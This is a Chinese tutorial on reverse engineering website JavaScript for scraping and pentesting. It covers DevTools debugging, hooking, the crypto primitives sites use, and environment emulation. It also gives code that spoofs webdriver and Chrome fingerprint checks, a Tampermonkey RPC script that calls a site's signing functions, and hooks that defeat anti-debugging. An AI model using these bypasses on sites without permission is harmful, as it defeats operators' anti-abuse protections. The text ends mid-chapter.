【Js逆向 python】Web JS 逆向全体系详细解释

【Js逆向 python】Web JS 逆向全体系详细解释

Web JS 逆向全体系内容

互联网技术安全提示与职业操守

做渗透测试,必须严格遵守以下原则:

  1. 合法授权:仅在书面授权的范围内使用逆向技术,禁止未授权测试;
  2. 最小影响:避免使用高风险参数(如sqlmap工具的 --risk=3--os-shell),防止目标服务崩溃;
  3. 数据保护:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除;
  4. 留痕清理:测试结束后,协助目标清除测试留下的日志、文件等痕迹。

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
  2. 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”)及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
  4. 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分,合法合规是每一位互联网技术工程师的职业底线。
  6. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。

第一部分:大纲全章节技术点入门详解

基础入门→核心技术实操→全流程实战全覆盖,零基础可学、步骤可 1:1 复现。

第一章 逆向基础

1. 核心定义与底层原理

Web JS 逆向(Web JavaScript 逆向工程),本质是反向分析前端网页的 JS 代码

网站的接口加密、参数签名、反爬逻辑全部在前端 JS 中实现,我们通过调试、分析、还原 JS 代码,搞懂「加密参数的生成规则」,最终用 Python / 其他语言复现逻辑,实现爬虫、接口调用、渗透测试的目标。

  • 底层原理:前端所有加密、反爬逻辑最终都要在浏览器中执行,只要代码能在浏览器运行,就能被分析、还原、复现。

2. 实战作用与应用场景

  • 爬虫开发:破解网站 sign、token、加密 data 参数,实现自动化数据爬取;
  • 渗透测试:分析前端登录加密、签名校验逻辑,寻找越权、未授权接口漏洞;
  • 接口对接:第三方网站无开放 API 时,通过逆向实现接口调用;
  • 反爬对抗:绕过网站的环境检测、反调试、代码混淆。

3. 核心知识点拆解

  • 前端 JS 执行流程:网页加载→JS 下载→V8 引擎解析执行→发起接口请求;
  • 核心目标:找到「加密参数的生成函数」,还原完整逻辑;
  • 核心原则:所有前端加密都是纸老虎,密钥、逻辑都在前端 JS 中,只要能调试就能还原。

4. 极简入门示例

// 网站最常见的sign签名生成逻辑(逆向核心目标)// 作用:生成接口请求的签名,防止参数被篡改functiongenerateSign(keyword, timestamp){// 1. 拼接参数const str = keyword + timestamp;// 2. MD5哈希生成签名return CryptoJS.MD5(str).toString();}// 逆向的核心:搞懂这个函数的逻辑,用Python复现

第二章 浏览器控制台(DevTools)

DevTools 是 JS 逆向的核心工具,对应大纲 3 节内容:Network、Sources+Application、Console。

第一节 Network 面板

1. 核心定义与底层原理

Network 面板是浏览器的网络抓包工具,记录网页所有 HTTP/HTTPS 请求(接口、JS、图片等),可查看请求 URL、请求头、请求体、响应内容,是逆向的第一步 —— 找到目标接口和加密参数。

2. 实战作用与应用场景
  • 找到目标数据接口(榜单、用户信息、搜索结果);
  • 查看接口的加密参数(sign、token、data 等),确定逆向目标;
  • 查看请求头、Cookie、Referer 等反爬校验字段;
  • 查看接口响应内容,确认数据格式。
3. 核心知识点拆解
  • 筛选器:All / 全部、XHR/fetch(接口请求,逆向最常用)、JS、Img 等;
  • 请求详情:
    • Headers:请求头、响应头、请求 URL、请求方法;
    • Payload:POST 请求的请求体(加密参数通常在这里);
    • Response:接口返回的内容;
    • Initiator:请求的发起者(JS 代码位置,定位加密函数的入口);
  • 必开配置:Preserve log(保留日志,刷新不清空)、Disable cache(禁用缓存)。
4. 极简入门操作
  1. 打开 Chrome,按F12打开 DevTools,切换到 Network 面板;
  2. 勾选「Preserve log」和「Disable cache」,点击「XHR/fetch」筛选器;
  3. 刷新网页,即可看到所有接口请求,点击任意一个查看加密参数。

第二节 Sources+Application 面板

1. 核心定义与底层原理
  • Sources 面板:JS 代码调试核心战场,可查看所有 JS 代码、设置断点、单步调试、查看变量值,找到加密函数核心逻辑;
  • Application 面板:查看网站的 Cookie、LocalStorage、SessionStorage,加密密钥、token 通常存储在这里。
2. 实战作用与应用场景
  • 调试 JS 代码,单步执行查看加密过程的变量值,还原加密逻辑;
  • 找到加密用的密钥、token、用户标识;
  • 格式化压缩混淆的 JS 代码,提升可读性;
  • 断点管理:精准定位加密函数入口。
3. 核心知识点拆解
  • 代码格式化:点击 JS 代码左下角的{}按钮,把压缩的单行代码格式化为分行可读代码;
  • 断点类型:
    • 普通断点:点击代码行号,执行到该行暂停;
  • 条件断点:右键行号设置条件,条件满足时暂停;
    • XHR 断点:接口 URL 包含指定关键词时暂停,定位加密入口;
  • 调试控制按钮:
    • 继续执行(F8):执行到下一个断点;
  • 单步跳过(F10):逐行执行,不进入函数内部;
    • 单步进入(F11):逐行执行,进入函数内部;
    • 单步跳出(Shift+F11):跳出当前函数;
  • Scope 面板:断点暂停时,查看当前作用域的所有变量值,还原加密逻辑的核心。
4. 极简入门示例
// 网站加密函数示例functionencryptData(data){// 密钥从Application面板的LocalStorage中获取const key = localStorage.getItem("encrypt_key");returnAES.encrypt(data, key).toString();}
  1. 打开 Sources 面板,找到这段代码;
  2. 点击return行的行号设置断点;
  3. 触发接口请求,代码暂停;
  4. 在 Scope 面板查看datakey的值,确认加密输入和密钥;
  5. 打开 Application 面板,找到 LocalStorage 里的encrypt_key

第三节 Console 面板

1. 核心定义与底层原理

Console 面板是JS 交互式执行环境,可直接执行 JS 代码、调用网站函数、查看变量、注入 Hook 代码,是逆向的「测试场」。

2. 实战作用与应用场景
  • 测试加密函数:调用网站的加密函数,传入自定义参数,验证逻辑正确性;
  • 查看变量 / 函数定义:确认网站的全局变量、加密函数逻辑;
  • 执行 Hook 代码:拦截加密函数、原生方法,查看参数和返回值;
  • 调试输出:断点暂停时,查看变量的详细信息。
3. 核心知识点拆解
  • 全局作用域:Console 中执行的代码默认在网页全局作用域,可直接调用网站的全局函数、变量;
  • 常用指令:
    • console.log(变量):输出变量值;
  • console.dir(对象):输出对象的所有属性和方法;
    • debugger:手动触发断点;
  • 代码补全:输入代码时按Tab自动补全函数名、变量名。
4. 极简入门示例
// 1. 调用网站加密函数,测试逻辑const testSign =generateSign("测试关键词","1761800000000"); console.log("测试生成的sign:", testSign);// 2. 查看加密函数的完整定义 console.dir(generateSign);// 3. 查看LocalStorage中的密钥 console.log("加密密钥:", localStorage.getItem("encrypt_key"));

第三章 加密参数的定位方法

对应大纲内容:常用方法 + Hook 注入,核心是XHR 断点定位Hook 注入定位,是逆向的核心步骤。

第一节 XHR 断点定位加密函数

1. 核心定义与底层原理

XHR 断点(XMLHttpRequest/fetch 断点),原理是:浏览器发起接口请求前,会先执行 JS 加密逻辑生成参数,我们给接口 URL 设置断点,请求发起时浏览器会自动暂停,通过调用栈回溯即可找到加密参数的生成函数。

2. 实战作用与应用场景
  • 90% 的逆向场景通用,快速定位加密参数生成位置;
  • 不知道加密函数名、关键词时,无需盲目搜索代码;
  • 精准定位,不会遗漏加密逻辑。
3. 核心知识点拆解
  • 断点触发条件:发起的接口 URL 包含设置的关键词时触发;
  • 调用栈(Call Stack):断点触发后,面板会显示代码执行顺序,最上方是当前代码,往下是调用它的代码,从下往上回溯即可找到业务代码中的加密逻辑;
  • 框架过滤:jQuery、Axios 等框架代码不是目标,需跳过。
4. 极简入门操作
  1. 打开 DevTools→Sources 面板,找到「XHR/fetch Breakpoints」;
  2. 点击「Add breakpoint」,输入接口 URL 关键词(如rank/list);
  3. 触发接口请求,断点触发;
  4. 查看 Call Stack,从下往上找到业务代码,进入即可找到加密函数。

第二节 Hook 注入定位加密函数

1. 核心定义与底层原理

Hook 注入(函数钩子),原理是:重写浏览器原生方法、网站加密函数,在函数执行前先执行我们的代码,查看函数的输入参数、返回值,甚至修改结果,从而定位加密位置。

2. 实战作用与应用场景
  • 已知加密用了 Base64/MD5/AES 等方法,Hook 对应方法即可找到调用位置;
  • 查看接口请求前的参数,确认加密结果;
  • 绕过环境检测、反调试。
3. 核心知识点拆解
  • Hook 核心逻辑:保留原函数→重写函数→添加自定义逻辑→调用原函数→返回结果
  • 常用 Hook 目标:
    • 原生编码:window.btoa/window.atob(Base64);
    • 加密 API:window.crypto.subtle
    • 接口请求:XMLHttpRequest.prototype.send/window.fetch
    • 哈希方法:CryptoJS.MD5/CryptoJS.AES
  • Hook 时机:需在网站 JS 执行前注入,否则 Hook 不到。
4. 极简入门 Hook 代码
// Hook window.btoa(Base64编码)// 1. 保存原函数,避免功能丢失const originalBtoa = window.btoa;// 2. 重写btoa函数 window.btoa=function(...args){// 3. 自定义逻辑:打印输入内容 console.log("btoa被调用,输入:", args[0]);// 4. 调用原函数,获取结果const result =originalBtoa.apply(this, args);// 5. 打印输出结果 console.log("btoa编码结果:", result);// 6. 打印调用栈,定位调用位置 console.log("调用栈:",newError().stack);// 7. 返回原结果,不影响网站功能return result;};

第四章 常见的压缩和混淆

对应大纲内容:压缩混淆概述、javascript-obfuscator 示例,核心是 JS 混淆的原理、识别、反混淆基础。

1. 核心定义与底层原理

  • 代码压缩:删除空格、换行、注释,把长变量名改为短名(如generateSigna),减小文件体积,同时降低代码可读性;
  • 代码混淆:通过字符串加密、控制流扁平化、死代码注入、变量名乱码等方式,把可读代码变成完全看不懂的「乱码」,核心目的是保护前端代码,防止逆向分析,是网站最常用的反爬手段。
  • 底层原理:混淆后的代码功能和原代码完全一致,只是代码形态改变,浏览器 V8 引擎仍可正常执行,仅人类无法读懂。

2. 实战作用与应用场景

  • 逆向场景:识别网站的混淆工具,选择对应的反混淆方法;
  • 反爬对抗:还原混淆代码,找到加密、反爬逻辑;
  • 代码保护:自己的前端代码用混淆工具保护,防止被逆向。

3. 核心知识点拆解

  • 常见混淆工具:
    • javascript-obfuscator:最常用、功能最强的混淆工具,对应大纲示例;
  • Terser:主流压缩工具,支持基础混淆;
    • JScrambler:商业级混淆工具,反调试能力强;
  • 常见混淆手段:
    1. 变量名 / 函数名混淆:把有意义的名字改为_0x123456ab等乱码;
  1. 字符串加密:把代码中的 URL、密钥、提示语加密,运行时再解密;
  2. 控制流扁平化:把顺序执行的代码改为 switch-case 循环,打乱执行顺序;
  3. 死代码注入:插入永远不会执行的代码,干扰分析;
  4. 反调试:加入无限 debugger、DevTools 检测代码,防止被调试。

4. 极简入门示例

混淆前原始代码
functiongenerateSign(data, timestamp){const salt ="my_secret_salt";const signStr = salt + data + timestamp;return CryptoJS.MD5(signStr).toString();}
javascript-obfuscator 混淆后代码
var _0x1a2b=['MD5','toString','my_secret_salt'];(function(_0x3c4d,_0x1a2b5){var_0x2f8e=function(_0x3d9a){while(--_0x3d9a){_0x3c4d['push'](_0x3c4d['shift']());}};_0x2f8e(++_0x1a2b5);}(_0x1a2b,0x10));var_0x2f8e=function(_0x3c4d,_0x1a2b5){_0x3c4d=_0x3c4d-0x0;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;};functiongenerateSign(_0x4d5a,_0x5f6b){const _0x1e3f=_0x2f8e(0x0);const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b;return CryptoJS[_0x2f8e(0x1)](_0x7c8d)[_0x2f8e(0x2)]();}

第五章 常见的编码和加密

对应大纲内容:常见的编码和加密,是 JS 逆向的核心基础,90% 的网站加密参数都用这几种算法。

通用核心定义

  • 编码:可逆、无密钥的转换,目的是方便传输,不是加密,如 Base64,任何人都能解码;
  • 加密:可逆、有密钥的转换,目的是保护数据,只有持密钥者能解密,如 AES、RSA;
  • 哈希(摘要):不可逆的转换,把任意长度内容转成固定长度字符串,无法从结果还原原始内容,如 MD5,常用于签名、防篡改。

第一节 Base64 编码

1. 核心定义与底层原理

Base64 是二进制转文本编码,把二进制数据(图片、字符串)转换成由 64 个可打印字符(A-Z、a-z、0-9、+、/)组成的字符串,目的是让二进制数据在 HTTP 协议中正常传输,避免乱码。

  • 底层原理:把 3 个字节(24 位)拆成 4 个 6 位的块,每个 6 位对应 Base64 表的一个字符,不足用=补全。
2. 实战作用与应用场景
  • 网站的datatoken参数常用 Base64 编码;
  • 接口中的图片、文件用 Base64 传输;
  • 逆向场景:参数结尾有=,大概率是 Base64 编码,解码即可看到原始内容。
3. 核心知识点拆解
  • 浏览器原生方法:window.btoa()编码,window.atob()解码;
  • 特征:编码后仅包含 A-Z、a-z、0-9、+、/、=,结尾可能有 1-2 个=
  • 注意:Base64 是编码不是加密,无密钥,任何人都能解码。
4. 极简入门代码
// 1. Base64编码(处理中文避免乱码)const rawStr ="我的加密内容123";const base64Str =btoa(encodeURIComponent(rawStr)); console.log("Base64编码结果:", base64Str);// 2. Base64解码const decodeStr =decodeURIComponent(atob(base64Str)); console.log("Base64解码结果:", decodeStr);

第二节 MD5 哈希算法

1. 核心定义与底层原理

MD5(Message-Digest Algorithm 5)是不可逆的哈希摘要算法,把任意长度的输入转换成固定 32 位十六进制字符串,输入内容稍有变化,输出结果完全不同,无法从 MD5 值还原原始内容。

  • 底层原理:通过四轮非线性函数运算,把输入拆分成 512 位的块,最终生成 128 位哈希值,转成 32 位十六进制字符串。
2. 实战作用与应用场景
  • 网站接口的sign签名参数 90% 用 MD5 生成,防止参数被篡改;
  • 早期网站用 MD5 加密用户密码;
  • 逆向场景:看到 32 位十六进制字符串,大概率是 MD5 签名,核心是还原拼接规则。
3. 核心知识点拆解
  • 特征:输出固定 32 位(或 16 位)十六进制字符串,仅包含 0-9、a-f(A-F);
  • 不可逆:无法从 MD5 值还原原始内容,逆向核心是找到拼接规则(如盐值+参数+时间戳);
  • 常用库:前端用CryptoJS.MD5(),Python 用hashlib.md5()
4. 极简入门代码
// 前提:页面已加载CryptoJS库(绝大多数网站都用)const keyword ="Python逆向";const timestamp ="1761800000000";const salt ="my_secret_salt";// 网站硬编码的盐值,逆向需找到它// 拼接签名字符串(核心:还原这个规则)const signStr = salt + keyword + timestamp;// 生成MD5签名,转小写const sign = CryptoJS.MD5(signStr).toString().toLowerCase(); console.log("生成的MD5签名:", sign);

第三节 AES 对称加密

1. 核心定义与底层原理

AES(Advanced Encryption Standard)是对称加密算法,加密解密用同一个密钥,加密速度快、安全性高,是网站最常用的对称加密算法,用于加密接口请求体、响应体。

  • 底层原理:把明文分成 128 位的块,通过多轮替换、移位、混合运算,用密钥加密成密文,解密时用同一个密钥反向运算。
  • 常见模式:CBC 模式(最常用,需 IV 初始向量)、ECB 模式(简单,不安全)。
2. 实战作用与应用场景
  • 网站接口的data参数用 AES 加密,防止请求内容被抓包查看;
  • 响应体加密:网站返回的内容是 AES 加密的,前端解密后渲染;
  • 逆向场景:需找到 AES 的密钥、IV、模式、填充方式,才能解密 / 复现加密逻辑。
3. 核心知识点拆解
  • 核心要素:
    1. 密钥(Key):16 位(AES-128)、24 位(AES-192)、32 位(AES-256),加密解密共用;
    2. 初始向量(IV):CBC 模式必须,16 位,和密钥一起用于加密;
    3. 模式:CBC(最常用)、ECB;
    4. 填充方式:PKCS7Padding(CryptoJS 默认)、PKCS5Padding;
  • 特征:加密后的内容通常是 Base64 编码或十六进制字符串。
4. 极简入门代码
// 前提:页面已加载CryptoJS库// 1. 核心配置(逆向必须找到这几个值)const key = CryptoJS.enc.Utf8.parse("1234567890abcdef");// 16位密钥const iv = CryptoJS.enc.Utf8.parse("0123456789abcdef");// 16位IV向量// 2. AES加密const rawData ='{"keyword":"Python逆向","page":1}';const encrypted = CryptoJS.AES.encrypt( rawData, key,{iv: iv,mode: CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7 });const encryptedStr = encrypted.toString(); console.log("AES加密结果:", encryptedStr);// 3. AES解密const decrypted = CryptoJS.AES.decrypt( encryptedStr, key,{iv: iv,mode: CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7 });const decryptedStr = decrypted.toString(CryptoJS.enc.Utf8); console.log("AES解密结果:", decryptedStr);

第四节 RSA 非对称加密

1. 核心定义与底层原理

RSA 是非对称加密算法,有一对密钥:公钥(Public Key)和私钥(Private Key),公钥加密的内容只有对应的私钥能解密;私钥签名的内容,公钥能验证签名。安全性基于大数质因数分解的难度,是目前最常用的非对称加密算法。

2. 实战作用与应用场景
  • 网站登录:前端用公钥加密用户密码,传输到后端,后端用私钥解密,防止密码被抓包泄露;
  • 签名验签:后端用私钥对数据签名,前端用公钥验证,防止数据被篡改;
  • 逆向场景:登录接口的密码加密通常用 RSA,需找到公钥,复现加密逻辑。
3. 核心知识点拆解
  • 核心特征:
    • 公钥是公开的,通常以-----BEGIN PUBLIC KEY-----开头,网站会通过接口返回或硬编码在 JS 中;
    • 加密后的内容是长字符串,通常是 Base64 编码;
    • 非对称:公钥只能加密不能解密,只有私钥能解密,逆向只能复现加密,无法解密。
  • 常用库:前端用JSEncrypt库,Python 用pycryptodome库。
4. 极简入门代码
// 前提:页面已加载JSEncrypt库(网站登录加密常用)// 1. 网站的公钥(逆向需从JS中找到)const publicKey =`-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1/3j+skZ6UtW+5u09lHNsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9wIDAQAB -----END PUBLIC KEY-----`;// 2. 创建加密实例const encrypt =newJSEncrypt();// 3. 设置公钥 encrypt.setPublicKey(publicKey);// 4. 加密用户密码const password ="my_password_123";const encryptedPassword = encrypt.encrypt(password); console.log("RSA加密后的密码:", encryptedPassword);

第六章 加密参数还原与模拟

对应大纲内容:Newrank 榜单逆向、MD5/RSA/AES 加密逆向案例,核心是把前面的技术整合,还原加密逻辑并复现,完整实战案例见第三模块。


第七章 浏览器环境补充

对应大纲内容:常被检测的环境、手动补全、JSDOM、Selenium、Puppeteer,核心是解决「JS 代码在 Node.js 中运行报错,缺少浏览器环境」的问题。

1. 核心定义与底层原理

浏览器环境,指 JS 代码运行时浏览器提供的全局对象和 API,比如windowdocumentnavigatorlocation等。网站的 JS 代码很多依赖这些浏览器 API,而 Node.js 中没有这些对象,直接复制网站 JS 代码到 Node.js 运行会报window is not defined等错误。

  • 环境补全:在 Node.js 中模拟浏览器的全局对象和 API,让网站的 JS 代码能在 Node.js 中正常运行,生成加密参数。

2. 实战作用与应用场景

  • 逆向场景:网站加密代码依赖浏览器环境,无法直接在 Node.js 中运行,需补全环境;
  • 爬虫开发:补全环境后,可在 Python 爬虫中调用 Node.js 加密函数,生成加密参数;
  • 反爬对抗:绕过网站的浏览器环境检测,模拟正常浏览器环境。

3. 核心知识点拆解

  • 常被检测 / 依赖的环境对象:
    1. 全局对象:windowselfthis(浏览器顶层 this 指向 window);
  1. 浏览器信息:navigator(userAgent、platform、webdriver);
  2. DOM 对象:documentlocationhistory
  3. 屏幕信息:screen(宽度、高度);
  4. 加密 API:window.crypto
  • 环境补全的三种方式:
    1. 手动补全:自己写代码模拟缺少的对象和 API,适合简单场景;
  1. JSDOM 补全:用 JSDOM 库模拟完整的浏览器 DOM 环境,适合中等复杂度场景;
  2. 浏览器自动化:用 Selenium、Puppeteer 直接控制真实浏览器,运行 JS 代码,适合复杂环境检测场景。

4. 极简入门示例

(1)手动环境补全(简单场景)
// Node.js环境下,手动补全window对象,解决"window is not defined"错误 global.window = global;// 用Node.js的global模拟window// 补全navigator对象 global.navigator ={userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",platform:"Win32",webdriver:false};// 补全location对象 global.location ={href:"https://www.example.com",host:"www.example.com"}; console.log("浏览器环境补全完成,userAgent:", window.navigator.userAgent);// 现在可复制网站的JS代码到这里运行
(2)JSDOM 环境补全(中等场景)
// 先安装:npm install jsdomconst{JSDOM}=require('jsdom');// 1. 创建JSDOM实例,模拟浏览器环境const dom =newJSDOM('<!DOCTYPE html>',{url:"https://www.example.com",userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",runScripts:"dangerously"});// 2. 把JSDOM的对象挂载到Node.js的global上 global.window = dom.window; global.document = dom.window.document; global.navigator = dom.window.navigator; global.location = dom.window.location; console.log("JSDOM环境补全完成,document对象:", document);// 现在可直接复制网站的JS代码到这里运行

第八章 浏览器环境监测

对应大纲内容:浏览器环境监测,核心是网站的反爬手段 —— 检测当前运行环境是真实浏览器,还是爬虫 / Node.js/ 自动化工具。

1. 核心定义与底层原理

浏览器环境监测(指纹检测、反自动化检测),是网站的前端反爬手段,通过 JS 代码检测当前环境的特征,判断是正常用户的浏览器,还是爬虫程序、自动化工具(Selenium/Puppeteer)、Node.js 环境,如果检测到是爬虫,就会返回错误数据、封禁 IP、触发验证码。

  • 底层原理:真实浏览器的环境特征,和自动化工具、Node.js 的环境特征有很多差异,网站通过检测这些差异识别爬虫。

2. 实战作用与应用场景

  • 逆向场景:分析网站的环境检测逻辑,找到检测点,绕过反爬;
  • 爬虫开发:修改自动化工具的环境特征,模拟真实浏览器,绕过检测;
  • 渗透测试:分析网站的反爬规则,找到绕过方法,实现自动化爬取。

3. 核心知识点拆解

  • 常见的检测点:
    1. navigator.webdriver:自动化工具会把这个值设为true,真实浏览器是undefined
  1. window.chrome:Chrome 浏览器有这个对象,无头浏览器、自动化工具可能没有;
  2. navigator.userAgent:检测 UA 是否是爬虫的 UA;
  3. screen对象:检测屏幕分辨率、颜色深度,无头浏览器的分辨率可能异常;
  4. 插件检测:navigator.plugins,真实浏览器有插件,无头浏览器没有;
  5. 鼠标 / 键盘事件:检测是否有真实的鼠标移动、键盘输入,自动化工具的事件特征和真人不同;
  6. Canvas/WebGL 指纹:检测浏览器的图形渲染特征,识别无头浏览器。
  • 绕过核心思路:找到网站的检测代码,Hook 对应的属性,修改返回值,模拟真实浏览器的特征。

4. 极简入门示例(绕过 webdriver 检测)

// Hook绕过webdriver检测,在网站JS执行前注入 Object.defineProperty(navigator,'webdriver',{get:()=>undefined,// 真实浏览器的返回值是undefined,自动化工具是true});// 同时绕过window.chrome检测 Object.defineProperty(window,'chrome',{get:()=>({runtime:{},loadTimes:()=>{},csi:()=>{}}),}); console.log("webdriver检测绕过完成,navigator.webdriver:", navigator.webdriver);

第九章 加密方法远程调用(RPC)

对应大纲内容:微博登录参数 RPC,核心是远程调用浏览器里的加密函数,不用还原加密逻辑、不用补全环境。

1. 核心定义与底层原理

RPC(Remote Procedure Call,远程过程调用),在 JS 逆向里指:在浏览器里运行网站的 JS 代码,我们通过 WebSocket/HTTP 接口,远程调用浏览器里的加密函数,拿到加密结果

  • 底层原理:网站的加密代码在真实浏览器里运行完全正常,不会有环境检测、代码混淆的问题,我们只需要在浏览器里开一个接口,让 Python 爬虫能调用这个接口,拿到加密参数,不用费劲还原加密逻辑、补全环境。

2. 实战作用与应用场景

  • 加密逻辑极度复杂,无法还原(混淆严重、WASM 加密、环境检测多);
  • 网站的加密代码经常更新,还原逻辑的成本太高,用 RPC 一劳永逸;
  • 微博登录、支付接口等复杂加密场景,用 RPC 快速实现加密参数生成。

3. 核心知识点拆解

  • RPC 实现原理:
    1. 在浏览器里注入 JS 代码,启动一个 WebSocket 服务,或者用油猴脚本、浏览器插件,监听 HTTP 请求;
  1. Python 爬虫发送请求,把要加密的参数传给浏览器里的 RPC 服务;
  2. 浏览器里的 RPC 服务,调用网站的加密函数,生成加密结果;
  3. 把加密结果返回给 Python 爬虫,爬虫用这个参数发起接口请求。
  • 常用实现方式:
    1. 油猴脚本(Tampermonkey)+ 本地 HTTP 服务:最常用,简单易实现;
  1. 浏览器插件:稳定性高,适合长期使用;
  2. Puppeteer/Selenium:直接在自动化浏览器里调用 JS 函数,拿到结果,属于轻量 RPC。

4. 极简入门示例(油猴 RPC 脚本)

// ==UserScript==// @name 网站加密函数RPC服务// @namespace http://tampermonkey.net/// @version 0.1// @description 远程调用网站的加密函数// @match https://www.example.com/* // 替换成目标网站的域名// @grant none// ==/UserScript==(function(){'use strict';// 1. 连接本地WebSocket服务const ws =newWebSocket('ws://127.0.0.1:8080');// 2. 连接成功 ws.onopen=()=>{ console.log("RPC服务连接成功");};// 3. 收到Python爬虫的请求,调用加密函数 ws.onmessage=(event)=>{// 解析爬虫传来的参数const params =JSON.parse(event.data);const keyword = params.keyword;const timestamp = params.timestamp;// 4. 调用网站里的加密函数(核心:直接用网站里的函数,不用还原)const sign = window.generateSign(keyword, timestamp);const encryptedData = window.encryptData(JSON.stringify(params));// 5. 把加密结果返回给Python爬虫 ws.send(JSON.stringify({sign: sign,encryptedData: encryptedData }));};})();

第十章 常见协议分析

对应大纲内容:常见协议分析,核心是 HTTP/HTTPS 协议的结构、请求方法、头字段、接口分析方法,是逆向的基础。

1. 核心定义与底层原理

HTTP(HyperText Transfer Protocol,超文本传输协议)、HTTPS(HTTP+SSL/TLS,加密的 HTTP)是浏览器和网站服务器之间通信的协议,所有的网页加载、接口请求,都是通过这个协议传输的。协议分析,就是分析请求和响应的结构,找到接口的调用规则、参数格式、反爬校验字段,是逆向的第一步。

2. 实战作用与应用场景

  • 逆向场景:找到目标数据接口,分析接口的请求规则、加密参数、反爬字段;
  • 爬虫开发:根据协议分析的结果,构造合法的请求,实现数据爬取;
  • 渗透测试:分析接口的漏洞,比如越权、SQL 注入、未授权访问。

3. 核心知识点拆解

  • HTTP 请求结构:
    1. 请求行:请求方法(GET/POST)、请求 URL、协议版本(HTTP/1.1);
    2. 请求头(Request Headers):浏览器发给服务器的附加信息,是反爬的核心校验点,常见字段:
      • User-Agent:浏览器的标识,反爬必校验;
    • Referer:请求的来源页面,告诉服务器你是从哪个页面来的;
      • Cookie:用户的身份标识,登录状态、会话信息都在这里;
      • Content-Type:请求体的格式,常见的有application/jsonapplication/x-www-form-urlencoded
      • Authorization:token 认证字段;
    1. 请求体(Request Body):POST 请求的参数,加密参数通常在这里;
  • HTTP 响应结构:
    1. 状态行:协议版本、状态码(200 成功、403 禁止访问、404 未找到、500 服务器错误);
  1. 响应头(Response Headers):服务器返回的附加信息;
  2. 响应体(Response Body):服务器返回的数据,通常是 JSON 格式,我们要爬取的内容在这里;
  • 常见请求方法:
    • GET:从服务器获取数据,参数放在 URL 里;
  • POST:向服务器提交数据,参数放在请求体里,加密参数通常用 POST。

4. 极简入门示例(协议分析步骤)

  1. 打开 Chrome DevTools→Network 面板,勾选 Preserve log 和 Disable cache;
  2. 触发网页的查询操作,找到对应的 XHR 接口;
  3. 查看请求行:POST https://api.example.com/rank/list HTTP/1.1
  4. 查看请求头:找到User-AgentRefererCookieContent-Type
  5. 查看请求体:{"data":"xxx","sign":"xxx","timestamp":"xxx"},找到加密参数;
  6. 查看响应体:{"code":0,"data":{"list":[]}},确认数据格式;
  7. 用 Python 构造相同的请求,验证是否能拿到数据。

第十一章 常见反调试

对应大纲内容:无限 debugger 的原理与绕过,核心是网站的反调试手段,防止我们用 DevTools 调试 JS 代码。

1. 核心定义与底层原理

反调试,是网站的前端反爬手段,通过 JS 代码,检测用户是否打开了 DevTools(开发者工具),如果打开了,就会触发无限 debugger、页面卡死、代码加密、返回错误数据,防止我们调试、分析 JS 代码。

  • 无限 debugger 的原理:用定时器 / 循环,不断执行debugger语句,只要打开了 DevTools,代码就会不断暂停,无法正常调试,页面也会变得卡顿。

2. 实战作用与应用场景

  • 逆向场景:绕过网站的反调试,正常调试 JS 代码,找到加密函数;
  • 爬虫开发:分析网站的反调试逻辑,绕过反爬,实现自动化爬取;
  • 反爬对抗:掌握反调试的原理,找到对应的绕过方法。

3. 核心知识点拆解

  • 常见反调试手段:
    1. 无限 debugger:最常用,用setInterval不断执行debugger
  1. DevTools 检测:检测 DevTools 是否打开,比如检测console.log的执行时间、检测窗口大小变化;
  2. 代码压缩混淆:让代码无法读懂,增加调试难度;
  3. 断点检测:检测是否设置了断点,触发反爬;
  4. 内存爆破:生成大量的对象,让 DevTools 卡顿,无法调试。

无限 debugger 的常见实现方式:

// 最常见的无限debuggersetInterval(()=>{debugger;},100);// 每100毫秒执行一次debugger
 - **绕过核心思路**:让`debugger`语句不执行,或者执行了也不暂停。 ### 4. 极简入门示例(无限 debugger 绕过) #### 方法 1:条件断点绕过(最简单) 1. 打开 DevTools→Sources 面板,找到`debugger`语句所在的行; 2. 右键行号,选择「Add conditional breakpoint」; 3. 在条件框里输入`false`,按回车; 4. 刷新页面,debugger 永远不会触发,正常调试。 #### 方法 2:Hook 绕过(通用) ​```javascript // 重写Function构造函数,拦截debugger语句 const originalFunction = Function; Function = function(...args) { if (args.join('').includes('debugger')) { // 如果代码里有debugger,返回空函数,不执行 return () => {}; } return originalFunction.apply(this, args); }; 

第十二章 调试工具补充

对应大纲内容:调试工具补充,核心是 Chrome DevTools 的进阶调试技巧,提升逆向效率。

1. 核心定义与底层原理

Chrome DevTools 除了基础的断点、单步调试,还有很多进阶的调试工具,能帮我们快速定位加密函数、分析代码执行流程、查看变量变化,提升逆向效率。

2. 实战作用与应用场景

  • 快速定位加密函数,不用盲目翻代码;
